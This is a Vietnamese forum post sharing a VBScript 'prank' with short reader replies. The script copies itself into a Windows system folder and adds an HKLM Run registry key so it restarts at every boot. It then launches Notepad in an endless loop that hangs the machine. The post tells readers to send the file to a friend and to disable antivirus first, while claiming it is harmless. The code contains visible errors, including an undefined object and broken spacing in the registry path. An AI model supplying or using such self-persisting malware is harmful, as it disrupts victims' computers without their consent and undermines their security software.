Code:

 
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop


-Như trên. các bạn copy đoạn code cho vào notepad rồi click save as. Đổi đuôi file là .vbs.
-Gửi cho người bạn nào cần trêu.
Lưu ý: đa số các chương trình anti virus đều phát hiện ra file này và diệt ngay tức khắc nếu muốn chơi cái này phải disable cái trình anti virus đi đã. Máy victim cũng vậy các bạn yên tâm, cái này ko làm ảnh hưởng gì đến máy cả, nó chỉ làm treo máy khi mình chạy file treomay.vbs thôi, ko muốn nữa thì xóa nó đi là xong.

bật Task lên xóa cái wscript là xong

nó bị treo. thì di chuột kiểu j

tốt nhất là ko chơi